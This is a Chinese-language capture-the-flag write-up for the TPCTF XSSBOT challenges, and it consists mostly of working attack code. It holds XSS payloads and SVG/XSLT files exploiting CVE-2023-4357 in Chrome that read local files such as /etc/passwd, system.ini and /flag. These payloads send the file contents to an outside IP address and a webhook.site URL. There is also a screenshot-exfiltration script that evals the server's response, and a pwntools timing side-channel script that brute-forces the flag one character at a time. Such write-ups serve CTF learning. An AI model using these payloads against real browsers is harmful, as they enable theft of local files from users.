xctf-TPCTF wp
还得是xctf,现在xctf的web题都没web界面了屌
XSSBOT
想法很简单,直接读文件然后外带
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///flag></iframe>')"/> <script>var xmlhttp1=new XMLHttpRequest(); xmlhttp1.open("GET","http://localhost:5000/a.html",false); xmlhttp1.send(); var xmlhttp=new XMLHttpRequest(); xmlhttp.open("GET","http://8.129.42.140:3307/"+ btoa(xmlhttp1.responseText),true); xmlhttp.send();</script>
发现这个是可以外带东西的,但是flag也不在cookie,而且要考虑同源策略
然后纠结很久
2021年有人提出过这个观点,https://security.stackexchange.com/questions/242718/how-can-i-read-local-files-from-blind-xss
或许本身就是无解
尝试屏幕截图
学到了屏幕截图的操作
<html> <head> <title>Attack</title> </head> <body> <iframe src=file:///flag></iframe> <script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script> <script>console.log('Sleeping to allow resources loading!');setTimeout(function () {setInterval(function () {html2canvas(document.getElementsByTagName("html")[0], {scale: 1}).then(canvas => {function b() {eval(this.responseText)}; a = new XMLHttpRequest();a.addEventListener("load", b); a.open("POST", "http://8.129.42.140:3307/");a.send(btoa(canvas.toDataURL()));}).catch(e => console.log(e));}, 1000);}, 3000);</script> </html> EOF
玛德不行。没有含flag的截图,而且题目也没有发送我截图
应该是同源策略的问题,所以我不能用file协议
应该是日谷歌浏览器了,当时想了一堆方法
最终找到
CVE-2023-4357+csp bypass 建议参考余总的https://johnfrod.top/安全/csp策略与绕过/
a.svg
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY passwd_p "file:///etc/passwd"> <!ENTITY passwd_c SYSTEM "file:///etc/passwd"> <!ENTITY sysini_p "file:///c:/windows/system.ini"> <!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&passwd_p;">&passwd_c;</p> <p class="&sysini_p;">&sysini_c;</p> </div> <div style="width:40rem" id="r" /> <script> document.querySelector('#r').innerHTML = ` remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`; document.querySelectorAll('p').forEach(p => { //You can send p.innerHTML by POST. document.querySelector('#r').innerHTML += ` local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/> local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`; }); document.querySelectorAll('p').forEach(p => { const localFilePath = p.className; const localFileContent = p.innerHTML; // 构建要发送的数据对象 const data = { filePath: localFilePath, fileContent: localFileContent }; // 发送POST请求 fetch('http://8.129.42.140:3307/post.php?'+JSON.stringify(data), { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data), }) .then(response => response.json()) .then(data => { // 处理服务器响应,如果有需要的话 console.log('Server response:', data); }) .catch(error => { // 处理错误 console.error('Error:', error); }); }); </script> </body> </xsl:template> </xsl:stylesheet> EOF
这份本地能出,分享会也复现给新生看了
更新了亿点东西
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY passwd_p "file:///etc/passwd"> <!ENTITY passwd_c SYSTEM "file:///etc/passwd"> <!ENTITY flag_p "file:///flag"> <!ENTITY flag_c SYSTEM "file:///flag"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&passwd_p;">&passwd_c;</p> <p class="&flag_p;">&flag_c;</p> </div> <div style="width:40rem" id="r" /> <script> document.querySelector('#r').innerHTML = ` remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`; document.querySelectorAll('p').forEach(p => { //You can send p.innerHTML by POST. document.querySelector('#r').innerHTML += ` local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/> local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`; }); document.querySelectorAll('p').forEach(p => { const localFilePath = p.className; const localFileContent = p.innerHTML; // 构建要发送的数据对象 const data = { filePath: localFilePath, fileContent: localFileContent }; // 发送POST请求 fetch('https://webhook.site/2e14ec61-b946-4b43-9094-bdbee8ac9958?'+JSON.stringify(data), { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data), }) .then(response => response.json()) .then(data => { // 处理服务器响应,如果有需要的话 console.log('Server response:', data); }) .catch(error => { // 处理错误 console.error('Error:', error); }); }); </script> </body> </xsl:template> </xsl:stylesheet> EOF
主要就是魔改了一下,把实体标签换成正常标签,不然总是不解析(但是特么的windows可以)
xssbot2
这个可以打爆:https://www.exploit-db.com/exploits/49915 但是需要交互
所以咱还是先试试时间盲注
用
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY passwd_p "file:///flag"> <!ENTITY passwd_c SYSTEM "file:///flag"> <!ENTITY flag_p "file:///flag"> <!ENTITY flag_c SYSTEM "file:///flag"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&passwd_p;">&passwd_c;</p> <p class="&flag_p;">&flag_c;</p> </div> <div style="width:40rem" id="r" /> <script> document.querySelector('#r').innerHTML = ` remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`; document.querySelectorAll('p').forEach(p => { //You can send p.innerHTML by POST. document.querySelector('#r').innerHTML += ` local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/> local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`; }); document.querySelectorAll('p').forEach(p => { const localFilePath = p.className; const localFileContent = p.innerHTML; // 构建要发送的数据对象 const data = { filePath: localFilePath, fileContent: localFileContent }; // 发送POST请求 fetch('http://8.129.42.140:3307?flag='+p.innerHTML, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data), }) .then(response => response.json()) .then(data => { // 处理服务器响应,如果有需要的话 console.log('Server response:', data); }) .catch(error => { // 处理错误 console.error('Error:', error); }); }); </script> </body> </xsl:template> </xsl:stylesheet> EOF
改为匹配
a.svg
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY passwd_p "file:///flag"> <!ENTITY passwd_c SYSTEM "file:///flag"> <!ENTITY flag_p "file:///flag"> <!ENTITY flag_c SYSTEM "file:///flag"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&passwd_p;">&passwd_c;</p> <p class="&flag_p;">&flag_c;</p> </div> <div style="width:40rem" id="r" /> <script> document.querySelector('#r').innerHTML = ` remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`; document.querySelectorAll('p').forEach(p => { //You can send p.innerHTML by POST. document.querySelector('#r').innerHTML += ` local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/> local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`; }); document.querySelectorAll('p').forEach(p => { const flag = p.innerHTML; // matchFlagCharacter(i,guessedCharacter) // 实现一个匹配 index=i_thai; guessedCharacter='gi_thai'; // 获取 flag 的第i个字符 const correctCharacter = flag.charAt(index); // 判断当前字符是否匹配 if (guessedCharacter === correctCharacter) { console.log(`Matched character at index ${index}: ${correctCharacter}`); // 在匹配时延迟 5 秒 setTimeout(() => { console.log("Delay finished"); }, 3000); } else { console.log(`Incorrect character at index ${index}`); } }); </script> </body> </xsl:template> </xsl:stylesheet> EOF
attack.py
from pwn import * import time context.log_level = 'WARNING' flag_thai = '' # 可见字符列表 char_list = ['T','0', '1', 'P', 'C','F', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', '3', 'D', 'E', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', '2', 'Q', 'R', 'S', 'U', 'V', 'W', 'X', 'Y', 'Z', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', '-', '=', '{', '}', '[', ']', '|', ':', ';', '"', "'", '<', '>', ',', '.', '?', '/', '`', '~', ' '] def measure(content) -> int: try: # 没网23379 13379 r = remote("202.112.238.82", 23379) # 有网 # r = remote("202.112.238.82", 23378) # 接收服务器的初始输出 r.sendlineafter(b"File name: ", b"b.svg") r.sendlineafter(b"Input your file:", content.encode('utf-8')) # 测量时间 r.sendline(b'EOF') r.recvuntil(b'website...') start = time.time() print(r.recvuntil(b'Bye bye!').decode('utf-8')) r.close() end = time.time() return end - start except: return measure(content) for i in range(0,40): # flag的位数 for char_i in char_list: # char_i='1' with open('b.svg', 'r',encoding="utf-8") as file: file_content = file.read() modified_content = file_content.replace("ii_thai", str(i)) modified_content = modified_content.replace("gi_thai", char_i) time_cost = measure(modified_content) print(f"i={i}, char_i={char_i}, time_cost={time_cost}") if time_cost > 4.5: print("[*]find") print(f"i={i}, char_i={char_i}, time_cost={time_cost}") flag_thai = flag_thai + char_i print("[*]flag: " + flag_thai) break
接着改良 b.svg
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY passwd_p "file:///flag"> <!ENTITY passwd_c SYSTEM "file:///flag"> <!ENTITY flag_p "file:///flag"> <!ENTITY flag_c SYSTEM "file:///flag"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&passwd_p;">&passwd_c;</p> <p class="&flag_p;">&flag_c;</p> </div> <div style="width:40rem" id="r" /> <script> document.querySelector('#r').innerHTML = ` remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`; document.querySelectorAll('p').forEach(p => { //You can send p.innerHTML by POST. document.querySelector('#r').innerHTML += ` local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/> local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`; }); document.querySelectorAll('p').forEach(p => { const localFilePath = p.className; const localFileContent = p.innerHTML; // 构建要发送的数据对象 const data = { filePath: localFilePath, fileContent: localFileContent }; var index=ii_thai; var guessedCharacter='gi_thai'; const flag = p.innerHTML; const correctCharacter = flag.charAt(index); // 判断当前字符是否匹配 if (guessedCharacter === correctCharacter) { console.log(`Matched character at index ${index}: ${correctCharacter}`); setTimeout(() => { console.log('help'); }, 20000); fetch('http://8.129.42.140:3307?flag6666='+p.innerHTML, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data), }) } else { console.log(`Incorrect character at index ${index}`); // 在匹配时延迟 5 秒 } // 发送POST请求 fetch('http://8.129.42.140:3307?flag='+p.innerHTML, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data), }) .then(response => response.json()) .then(data => { // 处理服务器响应,如果有需要的话 console.log('Server response:', data); }) .catch(error => { // 处理错误 console.error('Error:', error); }); }); </script> </body> </xsl:template> </xsl:stylesheet> EOF
这里如果匹配成功,服务器会收到thai666的请求,换成一个可以让浏览器延迟的操作即可
这两个是崩溃:
https://huntr.com/bounties/e268cd68-4f34-49bd-878b-82b96dcc0c99/
1297498 - UAF in ThreatDetailsCacheCollector::OpenEntry - chromium
借鉴了上面崩溃的思路,自己写了一个崩溃
最终脚本
from pwn import * import time context.log_level = 'WARNING' flag_thai = '' # 可见字符列表 char_list = ['T','0', '1', 'P', 'C','F', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', '3', 'D', 'E', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', '2', 'Q', 'R', 'S', 'U', 'V', 'W', 'X', 'Y', 'Z', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', '-', '=', '{', '}', '[', ']', '|', ':', ';', '"', "'", '<', '>', ',', '.', '?', '/', '`', '~', ' '] def measure(content) -> int: try: # 没网23379 13379 r = remote("202.112.238.82", 23379) # 有网 # r = remote("202.112.238.82", 23378) # 接收服务器的初始输出 r.sendlineafter(b"File name: ", b"b.svg") r.sendlineafter(b"Input your file:", content.encode('utf-8')) # 测量时间 r.sendline(b'EOF') r.recvuntil(b'website...') start = time.time() print(r.recvuntil(b'Bye bye!').decode('utf-8')) r.close() end = time.time() return end - start except: return measure(content) for i in range(0,40): # flag的位数 for char_i in char_list: # char_i='1' with open('b.svg', 'r',encoding="utf-8") as file: file_content = file.read() modified_content = file_content.replace("ii_thai", str(i)) modified_content = modified_content.replace("gi_thai", char_i) time_cost = measure(modified_content) print(f"i={i}, char_i={char_i}, time_cost={time_cost}") if time_cost > 4.5: print("[*]find") print(f"i={i}, char_i={char_i}, time_cost={time_cost}") flag_thai = flag_thai + char_i print("[*]flag: " + flag_thai) break
b.svg
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="?#"?> <!DOCTYPE div [ <!ENTITY flag_p "file:///flag"> <!ENTITY flag_c SYSTEM "file:///flag"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')"/> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&flag_p;">&flag_c;</p> </div> <div style="width:40rem" id="r" /> <script> document.querySelector('#r').innerHTML = ` remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`; document.querySelectorAll('p').forEach(p => { //You can send p.innerHTML by POST. document.querySelector('#r').innerHTML += ` local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/> local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`; }); document.querySelectorAll('p').forEach(p => { const localFilePath = p.className; const localFileContent = p.innerHTML; // 构建要发送的数据对象 const data = { filePath: localFilePath, fileContent: localFileContent }; var index=ii_thai; var guessedCharacter='gi_thai'; const flag = p.innerHTML; const correctCharacter = flag.charAt(index); // 判断当前字符是否匹配 if (guessedCharacter === correctCharacter) { console.log(`Matched character at index ${index}: ${correctCharacter}`); window.location="/b.svg"; fetch('/b.svg?'+p.innerHTML, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(data), }) } else { console.log(`Incorrect character at index ${index}`); // 在匹配时延迟 5 秒 } }); </script> </body> </xsl:template> </xsl:stylesheet> EOF
帅!
TPCTF{ea5y5C4}
这个漏洞还是很有意思的,当时学弟用知乎的一个exp试了一下,自己的浏览器可以任意文件读